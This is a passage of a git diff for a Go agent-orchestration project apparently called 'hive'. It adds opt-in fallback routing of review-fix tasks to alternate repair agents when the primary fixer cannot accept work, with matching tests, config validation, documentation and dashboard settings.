"fmt" + "log/slog" + "strings" + "testing" + "time" + + "github.com/hivecommons/hive/crux" + "github.com/hivecommons/hive/pkg/config" + "github.com/hivecommons/hive/pkg/escalation" + "github.com/hivecommons/hive/pkg/review" +) + +// Only status reads are implemented: fallback selection must never interrupt +// or restart the busy primary, even when its transcript has gone silent. +type fixerFallbackRuntime struct { + crux.Runtime + statuses map[string]*crux.Process +} + +func (f *fixerFallbackRuntime) IsPaused(name string) bool { + return f.statuses[name] != nil && f.statuses[name].Paused +} + +func (f *fixerFallbackRuntime) GetStatusFast(name string) (*crux.Process, error) { + if st := f.statuses[name]; st != nil { + return st, nil + } + return nil, fmt.Errorf("unknown agent %s", name) +} + +func TestFixerUndeliverable(t *testing.T) { + now := time.Now() + for _, tc := range []struct { + name string + fallbacks []string + threshold int + kicks int + activity time.Time + want bool + }{ + {"unset", nil, 0, 10, now.Add(-time.Hour), false}, + {"threshold alone", nil, 1, 10, now.Add(-time.Hour), false}, + {"blank list", []string{" "}, 0, 10, now.Add(-time.Hour), false}, + {"below default", []string{"fixer"}, 0, 2, now, false}, + {"at default", []string{"fixer"}, 0, 3, now, true}, + {"below override", []string{"fixer"}, 5, 4, now, false}, + {"at override", []string{"fixer"}, 5, 5, now, true}, + {"silent busy", []string{"fixer"}, 0, 1, now.Add(-time.Hour), true}, + {"idle silent", []string{"fixer"}, 0, 0, now.Add(-time.Hour), false}, + {"unknown transcript", []string{"fixer"}, 0, 1, time.Time{}, false}, + {"future transcript", []string{"fixer"}, 0, 1, now.Add(time.Minute), false}, + } { + t.Run(tc.name, func(t *testing.T) { + cfg := config.ReviewConfig{FixerFallbackAgents: tc.fallbacks, FixerFallbackAfterUndeliverable: tc.threshold} + st := &crux.Process{KicksUndeliverable: tc.kicks, LastTranscriptActivity: tc.activity} + st.Config.BusyNoActivityThreshold = time.Hour + if got := fixerUndeliverable(cfg, st, now); got != tc.want { + t.Fatalf("fixerUndeliverable = %v, want %v", got, tc.want) + } + }) + } +} + +func fallbackTestFleet() (*config.Config, *fixerFallbackRuntime) { + cfg := reviewSwarmConfig() + cfg.Review.FixerFallbackAgents = []string{" paused ", "disabled", "on-demand", "non-kick", "off-cadence", "unknown", "busy", "backoff", "fixer", "spare"} + mgr := &fixerFallbackRuntime{statuses: map[string]*crux.Process{ + "scanner": {KicksUndeliverable: 3}, + "paused": {Paused: true}, + "busy": {KicksUndeliverable: 1}, + "backoff": {ProviderErrorBackoffUntil: time.Now().Add(time.Hour)}, + "fixer": {}, + "spare": {}, + }} + for _, name := range []string{"paused", "on-demand", "non-kick", "off-cadence", "unknown", "busy", "backoff", "fixer", "spare"} { + cfg.Agents[name] = config.AgentConfig{Enabled: true} + } + ac := cfg.Agents["on-demand"] + ac.OnDemand = true + cfg.Agents["on-demand"] = ac + kickEnabled := false + cfg.Agents["non-kick"] = config.AgentConfig{Enabled: true, Channels: []config.ChannelConfig{{Type: "kick", Enabled: &kickEnabled}}} + cfg.Governor.Modes = map[string]config.ModeConfig{ + "idle": {Cadences: map[string]config.Cadence{"off-cadence": "paused"}}, + } + return cfg, mgr +} + +func TestReEngagementFallsBackAndReturnsToRecoveredPrimary(t *testing.T) { + store, clock := newTestEscalationStore(t) + cfg, mgr := fallbackTestFleet() + o := escalation.Observation{Repo: "acme/widgets", Number: 7, Agent: "scanner"} + kicker := &fakeKicker{} + var logs bytes.Buffer + logger := slog.New(slog.NewTextHandler(&logs, nil)) + + if !deliverReEngagement(cfg, store, o, "abc", kicker, agentAvailability(cfg, mgr), logger) { + t.Fatal("repair was not delivered around the busy primary") + } + if len(kicker.kicks) != 1 || kicker.kicks[0].agent != "fixer" || !strings.Contains(kicker.kicks[0].message, "FIX-BEFORE-NEW") { + t.Fatalf("expected first available fallback to receive repair, got %+v", kicker.kicks) + } + if !strings.Contains(logs.String(), "routed to fallback fixer") || !strings.Contains(logs.String(), "agent=fixer") { + t.Fatalf("missing routing diagnostic: %s", logs.String()) + } + + *clock = clock.Add(escalation.MaxReEngageCooldown + time.Minute) + mgr.statuses["scanner"].KicksUndeliverable = 0 + if !deliverReEngagement(cfg, store, o, "abc", kicker, agentAvailability(cfg, mgr), logger) || kicker.kicks[1].agent != "scanner" { + t.Fatalf("recovered primary did not regain repair routing: %+v", kicker.kicks) + } + + *clock = clock.Add(escalation.MaxReEngageCooldown + time.Minute) + mgr.statuses["scanner"].KicksUndeliverable = 3 + mgr.statuses["fixer"].KicksUndeliverable = 1 + mgr.statuses["spare"].Paused = true + if deliverReEngagement(cfg, store, o, "abc", kicker, agentAvailability(cfg, mgr), logger) { + t.Fatal("repair reported delivered while all fixers were unavailable") + } + if len(kicker.kicks) != 2 || store.ReEngagements(o.Repo, o.Number) != 2 { + t.Fatal("undeliverable repair spent budget or sent a kick") + } +} + +func TestReviewFixerFallbackWiring(t *testing.T) { + for _, tc := range []struct { + name string + kicks int + fallbacks bool + want string + }{ + {"unset preserves busy primary", 10, false, "scanner"}, + {"below threshold", 2, true, "scanner"}, + {"fallback", 3, true, "fixer"}, + {"recovered primary", 0, true, "scanner"}, + } { + t.Run(tc.name, func(t *testing.T) { + redirectReviewPaths(t) + if err := review.WriteArtifact("", review.Artifact{Items: []review.Aggregate{{ + Repo: "hivecommons/hive", Number: 4321, HeadSHA: reviewTestSHA, Verdict: review.VerdictChangesRequested, + }}}); err != nil { + t.Fatal(err) + } + cfg, mgr := fallbackTestFleet() + if !tc.fallbacks { + cfg.Review.FixerFallbackAgents = nil + } + mgr.statuses["scanner"].KicksUndeliverable = tc.kicks + plan := planReviewDispatch(cfg, actionableWithPR("hive-bot"), mgr, nil, discardLogger()) + if len(plan.FixKicks) != 1 || plan.FixKicks[0].Agent != tc.want { + t.Fatalf("fix kicks = %+v, want one for %s", plan.FixKicks, tc.want) + } + if len(plan.State.Fixes) != 1 || plan.State.Fixes[0].Agent != tc.want || plan.State.Fixes[0].Attempts != 1 { + t.Fatalf("fallback not reflected in dispatch accounting: %+v", plan.State.Fixes) + } + if tc.want == "fixer" { + // Recovery must not duplicate work already delivered to the + // fallback. It only changes routing for the next eligible fix. + state := review.ConfirmDelivered(plan.State, plan.FixKicks, plan.FixKicks) + if err := review.WriteDispatchState("", state); err != nil { + t.Fatal(err) + } + mgr.statuses["scanner"].KicksUndeliverable = 0 + again := planReviewDispatch(cfg, actionableWithPR("hive-bot"), mgr, nil, discardLogger()) + if len(again.FixKicks) != 0 || len(again.State.Fixes) != 1 || again.State.Fixes[0].Agent != "fixer" { + t.Fatalf("recovery duplicated the pending fallback fix: %+v", again) + } + } + }) + } +} + +func TestReviewFixerFallbackAllBusyRetriesWithoutHumanHold(t *testing.T) { + redirectReviewPaths(t) + if err := review.WriteArtifact("", review.Artifact{Items: []review.Aggregate{{ + Repo: "hivecommons/hive", Number: 4321, HeadSHA: reviewTestSHA, Verdict: review.VerdictChangesRequested, + }}}); err != nil { + t.Fatal(err) + } + cfg, mgr := fallbackTestFleet() + mgr.statuses["fixer"].KicksUndeliverable = 1 + mgr.statuses["spare"].Paused = true + plan := planReviewDispatch(cfg, actionableWithPR("hive-bot"), mgr, nil, discardLogger()) + if len(plan.FixKicks) != 0 || len(plan.State.Fixes) != 0 || len(plan.State.Human) != 0 { + t.Fatalf("busy fleet sent a repair or created a human hold: %+v", plan) + } + mgr.statuses["scanner"].KicksUndeliverable = 0 + plan = planReviewDispatch(cfg, actionableWithPR("hive-bot"), mgr, nil, discardLogger()) + if len(plan.FixKicks) != 1 || plan.FixKicks[0].Agent != "scanner" { + t.Fatalf("repair did not retry after recovery: %+v", plan.FixKicks) + } +} diff --git a/src/cmd/hive/main_sweeps.go b/src/cmd/hive/main_sweeps.go index ab636a5755..7e21e0c63f 100644 --- a/src/cmd/hive/main_sweeps.go +++ b/src/cmd/hive/main_sweeps.go @@ -231,10 +231,54 @@ func agentAvailability(cfg *config.Config, mgr crux.Runtime) func(string) bool { if mgr != nil && mgr.IsPaused(name) { return false } - return cfg == nil || cadenceReachable(cfg, name) + if cfg != nil && !cadenceReachable(cfg, name) { + return false + } + // Keep the old reachability contract unless fallback routing is opted + // into. In particular, a busy primary still receives kick attempts when + // the list is unset, even if a threshold was configured on its own. + if cfg == nil || cfg.Review.EffectiveFixerFallbackAfterUndeliverable() == 0 { + return true + } + ac, ok := cfg.Agents[name] + if !ok || !ac.Enabled || ac.Paused || ac.OnDemand || !ac.UsesGovernorKick() { + return false + } + if mgr == nil { + return true + } + st, err := mgr.GetStatusFast(name) + if err != nil || st == nil || st.ProviderErrorBackoffUntil.After(time.Now()) { + return false + } + // A fallback already refusing input cannot pick up another repair. + if name != redPRFixOwner(cfg.Review.FixerAgent) && slices.Contains(cfg.Review.EffectiveFixerFallbackAgents(), name) && st.KicksUndeliverable > 0 { + return false + } + return !fixerUndeliverable(cfg.Review, st, time.Now()) } } +// fixerUndeliverable only reads the busy episode; it never interrupts the +// agent's turn. Old transcript activity alone must not disqualify an idle +// agent, and a missing transcript is unknown rather than proof of silence. +func fixerUndeliverable(cfg config.ReviewConfig, st *crux.Process, now time.Time) bool { + threshold := cfg.EffectiveFixerFallbackAfterUndeliverable() + if threshold == 0 || st == nil || st.KicksUndeliverable == 0 { + return false + } + return st.KicksUndeliverable >= threshold || + (!st.LastTranscriptActivity.IsZero() && now.Sub(st.LastTranscriptActivity) >= st.Config.EffectiveBusyNoActivityThreshold()) +} + +// reviewFixerAvailability adds runtime liveness only for opted-in hives. +func reviewFixerAvailability(cfg *config.Config, mgr crux.Runtime) func(string) bool { + if cfg.Review.EffectiveFixerFallbackAfterUndeliverable() == 0 { + return nil + } + return agentAvailability(cfg, mgr) +} + // cadenceReachable reports whether ANY governor mode gives the agent a cadence // that is not paused/off. An agent with no cadence entry at all is treated as // reachable: "nothing schedules it" is a fleet-configuration signal of its own @@ -280,11 +324,13 @@ func ownerReEngageCooldown(cfg *config.Config, name string) time.Duration { // resolveRedPRFixer picks the agent a stuck red PR's fix kick should go to: its // owner, else the configured review fixer agent, else the fleet's default -// fixer β€” the same chain the review-fix kick uses (src/docs/review-swarm.md). +// fixer, then the optional fallback list. Busy candidates are excluded by +// agentAvailability only when that list is configured. // It returns "" when no candidate is reachable, which tells the caller to leave // the PR alone rather than spend budget nobody can answer. func resolveRedPRFixer(cfg *config.Config, owner string, available func(string) bool) string { candidates := []string{redPRFixOwner(owner), strings.TrimSpace(cfg.Review.FixerAgent), review.DefaultFixerAgent} + candidates = append(candidates, cfg.Review.EffectiveFixerFallbackAgents()...) for _, c := range candidates { if c == "" { continue @@ -420,6 +466,10 @@ func deliverReEngagement( } return false } + if logger != nil && fixer != redPRFixOwner(o.Agent) { + logger.Info("re-engagement routed to fallback fixer", "repo", o.Repo, "pr", o.Number, + "owner", redPRFixOwner(o.Agent), "agent", fixer) + } store.RecordReEngagement(o.Repo, o.Number) return true } @@ -2523,6 +2573,8 @@ func planReviewDispatchWith(ctx context.Context, cfg *config.Config, actionable CombinedPerspectives: cfg.Review.CombinedPerspectives, ReviewerAgents: cfg.Review.ReviewerAgents, FixerAgent: cfg.Review.FixerAgent, + FixerFallbackAgents: cfg.Review.EffectiveFixerFallbackAgents(), + FixerAvailable: reviewFixerAvailability(cfg, agentMgr), PostComments: cfg.Review.PostComments, WritingGuideSection: cfg.Project.WritingGuideSection(), FixHumanPRs: cfg.Review.FixHumanPRsEnabled(), @@ -2547,6 +2599,12 @@ func planReviewDispatchWith(ctx context.Context, cfg *config.Config, actionable DeltaTrivialLines: cfg.Review.EffectiveDeltaTrivialLines(), DeltaMaxAge: cfg.Review.EffectiveDeltaMaxAge(), }) + for _, k := range plan.FixKicks { + if slices.Contains(cfg.Review.EffectiveFixerFallbackAgents(), k.Agent) { + logger.Info("review fix routed to fallback fixer", "repo", k.Repo, "pr", k.Number, + "primary", cfg.Review.FixerAgent, "agent", k.Agent) + } + } recordReviewDeltaRestamps(plan, logger) pendingRecords, pendingAgents, confirmedAgents := review.PendingReviewerOccupancy(plan.State) if pendingRecords > 0 || plan.SettledReviews > 0 { diff --git a/src/docs/review-swarm.md b/src/docs/review-swarm.md index 852a0abbe2..e78cf33d06 100644 --- a/src/docs/review-swarm.md +++ b/src/docs/review-swarm.md @@ -182,6 +182,8 @@ review: max_parallel_reviews: 5 reviewer_agents: [reviewer-a, reviewer-b] # optional; otherwise agents with review role/keywords are selected fixer_agent: scanner # optional; defaults to the PR lane, then scanner + fixer_fallback_agents: [] # opt-in ordered fallback lanes, e.g. [fixer, scanner-2] + fixer_fallback_after_undeliverable: 3 # 0 defaults to 3 only when fallbacks are configured confidence_score: true # optional; append the 0–5 mergeability line to review comments self_authored_decision_policy: resolve # resolve (default) non-risk-class Hive-authored decision questions, or escalate all of them # all_authors: true # deprecated no-op; every open PR is reviewed regardless of author @@ -555,7 +557,13 @@ Expiry also covers a head whose aggregate is `incomplete`: the delivered perspec The PR review queue (`GET /api/review/queue`) shows this state on unreviewed items: `pending_since` (first dispatch for the current head still pending) and `redispatch_count`, plus a reason such as `review dispatched 32m ago, no verdict yet (re-dispatched 2x after expiry)` or `review dispatch exhausted: …; waiting on a human` after the generic `not reviewed at this head` line. -When an aggregate verdict is `changes_requested`, Hive builds a review-fix kick containing the aggregate findings and sends it to `review.fixer_agent`, the classified PR lane, or `scanner`. Fix dispatches are capped by `escalation.MaxReEngagements`; once exhausted, dispatch state records a `requires_human` hold for the PR head so the automated loop stops. +When an aggregate verdict is `changes_requested`, Hive builds a review-fix kick containing the aggregate findings and sends it to `review.fixer_agent`, the classified PR lane, or `scanner`. + +Set `review.fixer_fallback_agents` to an ordered list of enabled, kick-capable repair agents to route around an undeliverable fixer. An empty or unset list preserves existing behavior; setting `review.fixer_fallback_after_undeliverable` alone has no effect. With the list set, a candidate yields after that many consecutive undeliverable kicks (default 3), or after at least one refusal when its last known transcript activity is older than its agent-level `busy_no_activity_threshold` (default 30m). Missing transcript activity is unknown, and an idle agent with no outstanding refusals does not yield merely because its transcript is old. + +Both review-fix kicks and stale CI-red PR re-engagements retain their existing owner/fixer selection order, then try the configured fallback list in order. Paused, disabled, on-demand, non-kick, cadence-paused, provider-backed-off or already refusing fallback agents are skipped. Routing is logged, and the next repair returns to the primary once its refusal count clears. No turn is interrupted or restarted, and a fix already delivered to a fallback remains pending under the usual `pending_fix_ttl` rather than being dispatched twice. + +Fix dispatches are capped by `escalation.MaxReEngagements`; once exhausted, dispatch state records a `requires_human` hold for the PR head so the automated loop stops. Once that cap is hit the hive is no longer fixing the PR, and the stage must say so ([#15744](https://github.com/hivecommons/hive/issues/15744)): diff --git a/src/hive.yaml.example b/src/hive.yaml.example index 57158a8f59..a895a2abf9 100644 --- a/src/hive.yaml.example +++ b/src/hive.yaml.example @@ -857,6 +857,11 @@ governor: # # perspective; shared review boilerplate is sent once instead of once # # per perspective. Verdicts stay per-perspective. Default false. # fixer_agent: "" # optional override; defaults to the PR lane, then scanner +# fixer_fallback_agents: [] # opt-in ordered repair lanes, e.g. [fixer, scanner-2] +# fixer_fallback_after_undeliverable: 3 # consecutive refusals before rerouting; +# # 0 defaults to 3 only when the fallback list is non-empty. +# # A busy fixer silent past its busy_no_activity_threshold +# # (default 30m) also yields. No turn is interrupted. # pending_ttl: 45m # re-dispatch a review whose kick posted no verdict after this long # # (Go duration; default 45m; negative disables expiry) # pending_fix_ttl: 2h # dispatch the next bounded fix attempt when a fixer turn has diff --git a/src/pkg/config/config.go b/src/pkg/config/config.go index 6c85fe185d..3ff585a20b 100644 --- a/src/pkg/config/config.go +++ b/src/pkg/config/config.go @@ -7831,6 +7831,12 @@ type ReviewConfig struct { MaxParallelReviews int `yaml:"max_parallel_reviews,omitempty" json:"max_parallel_reviews,omitempty"` ReviewerAgents []string `yaml:"reviewer_agents,omitempty" json:"reviewer_agents,omitempty"` FixerAgent string `yaml:"fixer_agent,omitempty" json:"fixer_agent,omitempty"` + // FixerFallbackAgents opts into routing repairs around an undeliverable + // fixer, in list order. Empty preserves the historical delivery behavior. + FixerFallbackAgents []string `yaml:"fixer_fallback_agents,omitempty" json:"fixer_fallback_agents,omitempty"` + // FixerFallbackAfterUndeliverable is the consecutive refusal threshold; + // zero uses 3, only when FixerFallbackAgents is non-empty. + FixerFallbackAfterUndeliverable int `yaml:"fixer_fallback_after_undeliverable,omitempty" json:"fixer_fallback_after_undeliverable,omitempty"` // PostComments tells review-swarm reviewers to publish their verdict as a // PR comment via the `hive-review` relay, in addition to returning the // JSON aggregate. Opt-in: the zero value keeps the verdict internal, which diff --git a/src/pkg/config/review_dispatch.go b/src/pkg/config/review_dispatch.go index f793e81967..08a3373cfa 100644 --- a/src/pkg/config/review_dispatch.go +++ b/src/pkg/config/review_dispatch.go @@ -237,3 +237,27 @@ func (r ReviewConfig) ValidateDeltaMaxAge() error { } return nil } + +// EffectiveFixerFallbackAfterUndeliverable is zero while fallback routing is +// disabled, so setting a threshold alone cannot change existing behavior. +func (r ReviewConfig) EffectiveFixerFallbackAfterUndeliverable() int { + if len(r.EffectiveFixerFallbackAgents()) == 0 { + return 0 + } + if r.FixerFallbackAfterUndeliverable > 0 { + return r.FixerFallbackAfterUndeliverable + } + return 3 +} + +// EffectiveFixerFallbackAgents returns the ordered, non-empty agent names. +func (r ReviewConfig) EffectiveFixerFallbackAgents() []string { + return trimmedNonEmpty(r.FixerFallbackAgents) +} + +func (r ReviewConfig) ValidateFixerFallback() error { + if r.FixerFallbackAfterUndeliverable < 0 { + return fmt.Errorf("review: fixer_fallback_after_undeliverable must be >= 0") + } + return nil +} diff --git a/src/pkg/config/review_dispatch_test.go b/src/pkg/config/review_dispatch_test.go index a1e9f0e841..f35c88e7f6 100644 --- a/src/pkg/config/review_dispatch_test.go +++ b/src/pkg/config/review_dispatch_test.go @@ -205,3 +205,25 @@ func TestReviewDeltaRereviewConfig(t *testing.T) { t.Fatalf("ValidateDeltaMaxAge rejected unset: %v", err) } } + +func TestReviewFixerFallbackConfig(t *testing.T) { + r := ReviewConfig{FixerFallbackAfterUndeliverable: 2} + if r.EffectiveFixerFallbackAfterUndeliverable() != 0 { + t.Fatal("threshold alone enabled fallback routing") + } + r.FixerFallbackAgents = []string{" ", " fixer "} + if got := r.EffectiveFixerFallbackAgents(); len(got) != 1 || got[0] != "fixer" { + t.Fatalf("fallback names = %v", got) + } + if r.EffectiveFixerFallbackAfterUndeliverable() != 2 { + t.Fatal("explicit threshold was not used") + } + r.FixerFallbackAfterUndeliverable = 0 + if r.EffectiveFixerFallbackAfterUndeliverable() != 3 { + t.Fatal("opted-in default must be three refusals") + } + r.FixerFallbackAfterUndeliverable = -1 + if r.ValidateFixerFallback() == nil { + t.Fatal("negative threshold accepted") + } +} diff --git a/src/pkg/config/validate.go b/src/pkg/config/validate.go index 62cf006854..af639daf52 100644 --- a/src/pkg/config/validate.go +++ b/src/pkg/config/validate.go @@ -155,6 +155,9 @@ func (c *Config) ValidateWithOptions(opts ValidateOptions) error { if err := c.Jev.Validate(); err != nil { return err } + if err := c.Review.ValidateFixerFallback(); err != nil { + return err + } if err := c.Review.ValidateReviewEventDispatch(); err != nil { return err } diff --git a/src/pkg/dashboard/api_config_review.go b/src/pkg/dashboard/api_config_review.go index 84f4c32de8..d5dfc625c8 100644 --- a/src/pkg/dashboard/api_config_review.go +++ b/src/pkg/dashboard/api_config_review.go @@ -100,16 +100,18 @@ func (s *Server) handleReviewConfigPut(w http.ResponseWriter, r *http.Request) { return } var body struct { - RequireApproval *bool `json:"require_approval"` - Shadow *bool `json:"shadow"` // hive.yaml review.shadow - FanOut *bool `json:"fan_out"` - MaxParallelReviews *int `json:"max_parallel_reviews"` - MaxPerspectives *int `json:"max_perspectives_per_pr"` - ReviewerAgents *[]string `json:"reviewer_agents"` - FixerAgent *string `json:"fixer_agent"` - AllAuthors *bool `json:"all_authors"` - FixHumanPRs *bool `json:"fix_human_prs"` - ContributorPRs *struct { + RequireApproval *bool `json:"require_approval"` + Shadow *bool `json:"shadow"` // hive.yaml review.shadow + FanOut *bool `json:"fan_out"` + MaxParallelReviews *int `json:"max_parallel_reviews"` + MaxPerspectives *int `json:"max_perspectives_per_pr"` + ReviewerAgents *[]string `json:"reviewer_agents"` + FixerAgent *string `json:"fixer_agent"` + FixerFallbackAgents *[]string `json:"fixer_fallback_agents"` + FixerFallbackAfterUndeliverable *int `json:"fixer_fallback_after_undeliverable"` + AllAuthors *bool `json:"all_authors"` + FixHumanPRs *bool `json:"fix_human_prs"` + ContributorPRs *struct { BaseSync *bool `json:"base_sync"` } `json:"contributor_prs"` AcknowledgeNoFind *bool `json:"acknowledge_no_findings"` @@ -216,6 +218,7 @@ func (s *Server) handleReviewConfigPut(w http.ResponseWriter, r *http.Request) { name string }{ {body.MaxRedispatch, "max_redispatch"}, + {body.FixerFallbackAfterUndeliverable, "fixer_fallback_after_undeliverable"}, {body.HeadMaxRetries, "head_max_retries"}, {body.MaxOutOfScopeBacklogIssues, "max_out_of_scope_backlog_issues"}, } { @@ -472,6 +475,12 @@ func (s *Server) handleReviewConfigPut(w http.ResponseWriter, r *http.Request) { if body.FixerAgent != nil { cfg.Review.FixerAgent = strings.TrimSpace(*body.FixerAgent) } + if body.FixerFallbackAgents != nil { + cfg.Review.FixerFallbackAgents = (config.ReviewConfig{FixerFallbackAgents: *body.FixerFallbackAgents}).EffectiveFixerFallbackAgents() + } + if body.FixerFallbackAfterUndeliverable != nil { + cfg.Review.FixerFallbackAfterUndeliverable = *body.FixerFallbackAfterUndeliverable + } if body.AllAuthors != nil { cfg.Review.AllAuthors = *body.AllAuthors } diff --git a/src/pkg/dashboard/review_settings_parity_test.go b/src/pkg/dashboard/review_settings_parity_test.go index 08d3eb93d0..5a8590c31c 100644 --- a/src/pkg/dashboard/review_settings_parity_test.go +++ b/src/pkg/dashboard/review_settings_parity_test.go @@ -78,6 +78,8 @@ func TestReviewSettingsRenderEveryKey(t *testing.T) { {"review.confidence_score", `data-section="review" data-key="confidence_score"`}, {"review.priority_labels", `data-section="review" data-key="priority_labels"`}, {"review.fixer_agent", `data-arg0="review" data-arg1="fixer_agent" data-arg-types="s,s,w"`}, + {"review.fixer_fallback_agents[]", `data-change-action="markDirtyReviewFixerFallbackAgents" data-arg-types="w"`}, + {"review.fixer_fallback_after_undeliverable", `data-arg0="review" data-arg1="fixer_fallback_after_undeliverable" data-arg-types="s,s,N"`}, {"review.human_decision_label", `data-arg0="review" data-arg1="human_decision_label" data-arg-types="s,s,w"`}, {"review.self_authored_decision_policy", `data-arg0="review" data-arg1="self_authored_decision_policy" data-arg-types="s,s,v"`}, {"review.max_reviews_per_head", `data-arg0="review" data-arg1="max_reviews_per_head" data-arg-types="s,s,N"`}, @@ -99,3 +101,37 @@ func TestReviewSettingsRenderEveryKey(t *testing.T) { } } } + +func TestReviewFixerFallbackConfigPut(t *testing.T) { + s := covApiServer(t) + if rec := doPut(s, "/api/config/review", map[string]any{ + "fixer_fallback_agents": []string{" fixer ", "", "spare"}, + "fixer_fallback_after_undeliverable": 4, + }); rec.Code != http.StatusOK { + t.Fatalf("PUT: %d %s", rec.Code, rec.Body.String()) + } + rc := s.deps.Config.Review + if len(rc.FixerFallbackAgents) != 2 || rc.FixerFallbackAgents[0] != "fixer" || rc.FixerFallbackAgents[1] != "spare" || rc.FixerFallbackAfterUndeliverable != 4 { + t.Fatalf("fallback settings did not round-trip: %+v", rc) + } + if rec := doPut(s, "/api/config/review", map[string]any{ + "fixer_fallback_agents": []string{}, "fixer_fallback_after_undeliverable": -1, + }); rec.Code != http.StatusBadRequest { + t.Fatalf("negative threshold: %d", rec.Code) + } + if len(s.deps.Config.Review.FixerFallbackAgents) != 2 { + t.Fatal("rejected PUT mutated fallback settings") + } + if rec := doPut(s, "/api/config/review", map[string]any{"fixer_agent": "scanner"}); rec.Code != http.StatusOK { + t.Fatalf("partial PUT: %d", rec.Code) + } + if s.deps.Config.Review.FixerFallbackAfterUndeliverable != 4 || len(s.deps.Config.Review.FixerFallbackAgents) != 2 { + t.Fatal("partial PUT changed fallback settings") + } + if rec := doPut(s, "/api/config/review", map[string]any{"fixer_fallback_agents": []string{}}); rec.Code != http.StatusOK { + t.Fatalf("clear PUT: %d", rec.Code) + } + if s.deps.Config.Review.EffectiveFixerFallbackAfterUndeliverable() != 0 { + t.Fatal("empty list did not disable fallback routing") + } +} diff --git a/src/pkg/dashboard/static-src/js/config-features.js b/src/pkg/dashboard/static-src/js/config-features.js index b547356f06..7bbb560145 100644 --- a/src/pkg/dashboard/static-src/js/config-features.js +++ b/src/pkg/dashboard/static-src/js/config-features.js @@ -535,6 +535,14 @@ <label>Fixer agent ${yamlHint('review.fixer_agent')} ${settingHelpMark('review-swarm', 'configuration', 'Fixer agent', `The agent kicked to address reviewer findings before re-review. Use the agent ID (the key in the roster, not its display name). Blank falls back to the PR's authoring agent, then scanner.`)}</label> <input type="text" value="${esc(rv.fixer_agent || '')}" placeholder="scanner (default)" data-change-action="markDirty" data-arg0="review" data-arg1="fixer_agent" data-arg-types="s,s,w"> </div> + <div class="config-field mt-3"> + <label>Fallback fixer agents (comma-separated) ${yamlHint('review.fixer_fallback_agents[]')} ${settingHelpMark('review-swarm', 'configuration', 'Fallback fixer agents', `Ordered agent IDs to try when the primary fixer cannot accept kicks. The first available fallback receives the repair without interrupting another turn. An empty list disables fallback routing.`)}</label> + <input type="text" value="${esc((rv.fixer_fallback_agents || []).join(', '))}" placeholder="e.g. fixer, scanner-2" spellcheck="false" data-change-action="markDirtyReviewFixerFallbackAgents" data-arg-types="w"> + </div> + <div class="config-field mt-3"> + <label>Undeliverable kicks before fallback ${yamlHint('review.fixer_fallback_after_undeliverable')} ${settingHelpMark('review-swarm', 'configuration', 'Undeliverable kicks before fallback', `Consecutive undeliverable kicks before trying a fallback. 0 uses the default of 3. After at least one refusal, a fixer whose transcript exceeds its busy_no_activity_threshold can yield earlier. Requires a non-empty fallback agent list.`)}</label> + <input type="number" min="0" step="1" value="${esc(String(rv.fixer_fallback_after_undeliverable || ''))}" placeholder="3 (default)" data-change-action="markDirty" data-arg0="review" data-arg1="fixer_fallback_after_undeliverable" data-arg-types="s,s,N"> + </div> <div class="config-field" style="margin-top:10px"> <label>Human decision label ${yamlHint('review.human_decision_label')} ${settingHelpMark('review-swarm', 'configuration', 'Human decision label', `An EXISTING repo label applied when the review swarm holds a PR for a human, so those PRs can be filtered from the list. There is no fleet-wide default and no standard name — use whatever the governed repos already maintain (this fleet's bluefin spoke uses 3-human-queue). The label is never created: if it is blank, misspelled, or absent from a repo, labeling is skipped there and the review comment's in-body marker still carries the signal.`)}</label> <input type="text" value="${esc(rv.human_decision_label || '')}" placeholder="(none) β€” must already exist in the repo" data-change-action="markDirty" data-arg0="review" data-arg1="human_decision_label" data-arg-types="s,s,w"> diff --git a/src/pkg/dashboard/static-src/js/config-helpers.js b/src/pkg/dashboard/static-src/js/config-helpers.js index 395ae8cfaa..59adc0751d 100644 --- a/src/pkg/dashboard/static-src/js/config-helpers.js +++ b/src/pkg/dashboard/static-src/js/config-helpers.js @@ -48,6 +48,10 @@ markDirty('review', 'require_labels', parseReviewRequireLabels(text)); } + function markDirtyReviewFixerFallbackAgents(text) { + markDirty('review', 'fixer_fallback_agents', String(text || '').split(',').map(s => s.trim()).filter(Boolean)); + } + // Reviewer agents pick-list (Settings β†’ Features β†’ Review Gate β†’ // Reviewers, #13460). The checked rows become review.reviewer_agents; an // empty selection means "keyword scan", mirroring the server. diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index eb5959f741..123c31b131 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -61480,6 +61480,14 @@ <h3 class="features-section-title">${esc(s.title)}</h3> <label>Fixer agent ${yamlHint('review.fixer_agent')} ${settingHelpMark('review-swarm', 'configuration', 'Fixer agent', `The agent kicked to address reviewer findings before re-review. Use the agent ID (the key in the roster, not its display name). Blank falls back to the PR's authoring agent, then scanner.`)}</label> <input type="text" value="${esc(rv.fixer_agent || '')}" placeholder="scanner (default)" data-change-action="markDirty" data-arg0="review" data-arg1="fixer_agent" data-arg-types="s,s,w"> </div> + <div class="config-field mt-3"> + <label>Fallback fixer agents (comma-separated) ${yamlHint('review.fixer_fallback_agents[]')} ${settingHelpMark('review-swarm', 'configuration', 'Fallback fixer agents', `Ordered agent IDs to try when the primary fixer cannot accept kicks. The first available fallback receives the repair without interrupting another turn. An empty list disables fallback routing.`)}</label> + <input type="text" value="${esc((rv.fixer_fallback_agents || []).join(', '))}" placeholder="e.g. fixer, scanner-2" spellcheck="false" data-change-action="markDirtyReviewFixerFallbackAgents" data-arg-types="w"> + </div> + <div class="config-field mt-3"> + <label>Undeliverable kicks before fallback ${yamlHint('review.fixer_fallback_after_undeliverable')} ${settingHelpMark('review-swarm', 'configuration', 'Undeliverable kicks before fallback', `Consecutive undeliverable kicks before trying a fallback. 0 uses the default of 3. After at least one refusal, a fixer whose transcript exceeds its busy_no_activity_threshold can yield earlier. Requires a non-empty fallback agent list.`)}</label> + <input type="number" min="0" step="1" value="${esc(String(rv.fixer_fallback_after_undeliverable || ''))}" placeholder="3 (default)" data-change-action="markDirty" data-arg0="review" data-arg1="fixer_fallback_after_undeliverable" data-arg-types="s,s,N"> + </div> <div class="config-field" style="margin-top:10px"> <label>Human decision label ${yamlHint('review.human_decision_label')} ${settingHelpMark('review-swarm', 'configuration', 'Human decision label', `An EXISTING repo label applied when the review swarm holds a PR for a human, so those PRs can be filtered from the list. There is no fleet-wide default and no standard name — use whatever the governed repos already maintain (this fleet's bluefin spoke uses 3-human-queue). The label is never created: if it is blank, misspelled, or absent from a repo, labeling is skipped there and the review comment's in-body marker still carries the signal.`)}</label> <input type="text" 